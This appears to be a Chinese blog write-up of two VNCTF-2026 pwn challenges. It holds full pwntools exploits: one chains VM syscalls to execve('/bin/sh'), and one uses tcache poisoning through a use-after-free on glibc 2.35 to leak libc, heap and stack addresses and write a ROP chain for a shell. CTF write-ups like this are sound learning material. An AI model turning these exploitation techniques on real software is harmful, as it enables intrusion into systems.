VNCTF-2026
前言
那几天在准备北京出差和aliyunctf,没来及做这个比赛的题目,这几天抽时间复现一下
vm-syscall
题目逆向出来后逻辑很简单,白给了一个syscall,但是参数不好控制,越界检查很严格,但是考虑到题目将syscall后的rax的结果给存储到了vm的r1寄存器中,所以利用shmid=shmget(0x50,0x80,0x3b6);addr=shmat(shmid,0,0),来向程序申请一段可写的内存,后面向这段内存上写一个‘/bin/sh\x00’来实现execve('/bin/sh\x00',0,0)就好
exp:
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b do_lookup_x
b exit
b *_IO_wdoallocbuf
b *_IO_flush_all_lockp
b *_IO_wfile_overflow
x/30gx $rebase(0x4050)
b *$rebase(0x0000000000001D78)
"""
def vmsyscall():
p=p8(4)
return p
def addrn(numb,length,index1,index2):
p=p8(2)+p8(index1)+p8(index2)+p8(length)
arr=[]
for i in range(length):
arr.append(numb & 0xff)
numb >>= 8
for i in range(length-1, -1, -1):
p += p8(arr[i])
p+=p8(0x10)
return p
def subrn(numb,length,index1,index2):
p=p8(2)+p8(index1)+p8(index2)+p8(length)
arr=[]
for i in range(length):
arr.append(numb & 0xff)
numb >>= 8
for i in range(length-1, -1, -1):
p += p8(arr[i])
p+=p8(0x20)
return p
def xchg(index1,index2):
p=p8(1)+p8(index1)+p8(index2)+p8(0x30)
return p
# shmid=shmget(0x50,0x80,0x3b6)
pl=addrn(29,1,0,0)+addrn(0x50,1,1,1)+addrn(0x80,1,2,2)+addrn(0x3b6,2,3,3)
pl+=vmsyscall()
# addr=shmat(shmid,0,0)
pl+=xchg(0,1)+subrn(0x50,1,0,0)+addrn(30,1,0,0)+subrn(0x80,1,2,2)+subrn(0x3b6,2,3,3)
pl+=vmsyscall()
#read(0,addr,0x100)
pl+=xchg(0,2)+addrn(0x100,2,3,3)
pl+=vmsyscall()
#execve('/bin/sh',0,0)
pl+=xchg(1,2)+subrn(9,1,0,0)+addrn(0x3b,1,0,0)+subrn(0x100,2,3,3)
pl+=vmsyscall()
# gdbbug(cmd)
sla("code:",pl)
pause()
pl=b'/bin/sh\x00'
sl(pl)
ita()chal-record
题目没有抹去protobuf的结构体,直接使用ptbk导出就好。逆向之后不然发现,程序存在一个UAF,2.35,直接攻击tcachebin就好
exp
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from robot_pb2 import OperationRequest, OperationResponse
p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6")
def add(name:bytes,content):
msg = OperationRequest()
msg.op_num = 0xFFFF0001
msg.op_operator = name
msg.target_index = 0
msg.target_value = content
serialized = msg.SerializeToString()
sl(serialized)
def show(index):
msg = OperationRequest()
msg.op_num = 0xFFFF0002
msg.op_operator = b''
msg.target_index = index
msg.target_value = b''
serialized = msg.SerializeToString()
sl(serialized)
def edit(index,name,content):
msg = OperationRequest()
msg.op_num = 0xFFFF0003
msg.op_operator = name
msg.target_index = index
msg.target_value = content
payload = msg.SerializeToString()
# payload=p64(0x04120ffffc808308)
# payload+=name
# payload+=p8(0x18)
# payload+=p8(index)
# payload+=p16(0x0422)
# payload+=content
sl(payload)
def dele(index):
msg = OperationRequest()
msg.op_num = 0xFFFF0004
msg.op_operator = b''
msg.target_index = index
msg.target_value = b''
serialized = msg.SerializeToString()
sl(serialized)
##先去鉴权
msg = OperationRequest()
msg.op_num = 49374
msg.op_operator = b''
msg.target_index = 0
msg.target_value = b'ping'
serialized = msg.SerializeToString()
sl(serialized)
ru("\x08\xc8\x01\x12\x12")
add(b"test", b"abcd"*0x200) #0
p.recvline()
add(b"test", b"test") #1
p.recvline()
dele(0)
p.recvline()
show(0)
ru(b'\x08\xc8\x01\x12\x06')
lb=uu64(rc(6))-(0x772c07c1ace0-0x772c07a00000)
print("lb base: "+hex(lb))
add(b"test", b"abcd"*0x200) #0
p.recvline()
add(b"test", b"abcd"*0x100) #2
p.recvline()
dele(2)
p.recvline()
show(2)
ru(b'\x08\xc8\x01\x12\x06')
hb=(uu64(rc(6)))-0x15170
print("heap base: "+hex(hb))
###构造出来一个tcachebin的链表,来使用house of some
add(b"abcdefgh",b"test"*0x10) #2
p.recvline()
add(b"abcdefgh",b"ta"*0x10+b"a") #3
p.recvline()
dele(2)
pl=((hb+0x1f770)>>12)^(hb+0x20ab0+0x60)
edit(2,p64(pl)[:6],b"test"*0x10)
add(b"abcdefgh",b"ab"*0x10+b"a") #2
add(p64(hb+0x20ab0)[:6],b"ab"*0x10+b"a") #2
####完成了向heaplist里面加入一个自己的堆块####
'''
0x5a07991bcaa0 0x0000006e6978694d 0x0000000000000c11 Mixin...........
0x5a07991bcab0 0x00005a07991ae880 0x00005a07991b2810 .....Z...(...Z..
0x5a07991bcac0 0x0000000000000800 0x00005a07991b0d90 .............Z..
0x5a07991bcad0 0x00005a07991bb750 0x0000000000000004 P....Z..........
0x5a07991bcae0 0x00005a07991bb770 0x00005a07991b7060 p....Z..`p...Z..
0x5a07991bcaf0 0x0000000000000021 0x00005a07991b1160 !.......`....Z..
0x5a07991bcb00 0x00005a07991b4da0 0x0000000000000021 .M...Z..!.......
0x5a07991bcb10 0x00005a07991bcab0 0x00005a07991bb630 .....Z..0....Z..
0x5a07991bcb20 0x0000000000000021 0x0000000000000000 !...............
'''
edit(4,p64(hb+0x20ab8+0x18)[:6],b"test")
print("environ=",hex(lb+libc.sym.environ))
edit(0,p64(lb+libc.sym.environ+1)[:6],b"test")
edit(0,b"",b"test")
show(1)
ru(b"you intend to send raw bytes.")
ru(b"\x08\xc8\x01\x12\x06")
stack=uu64(rc(6))
print("stack=",hex(stack))
####向栈上面写一个rop链,来执行system("/bin/sh")####
rdi=lb+0x000000000002a3e5
binsh=lb+next(libc.search(b"/bin/sh\x00"))
system=lb+libc.sym["system"]+0x1b
print(hex(system))
#0x0000000000029fce : add rsp, 0x98 ; ret
add_rsp_ret=lb+0x0000000000029fce
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''
edit(4,p64(stack-0x170+0x98+8)[:6],b"test")
edit(0,p64(rdi)[:6],b"test")
edit(4,p64(stack-0x170+0x98+16)[:6],b"test")
edit(0,b'a'*7,b"test")
edit(0,p64(binsh)[:6],b"test")
edit(4,p64(stack-0x170+0x98+16+8)[:6],b"test")
edit(0,b'a'*7,b"test")
edit(0,p64(lb+0xebd43)[:6],b"test")
edit(4,p64(stack-0x170)[:6],b"test")
# gdbbug(cmd)
edit(0,p64(add_rsp_ret)[:6],b"test")
ita()
VNCTF-2026
https://a1b2rt.cn//archives/vnctf-2026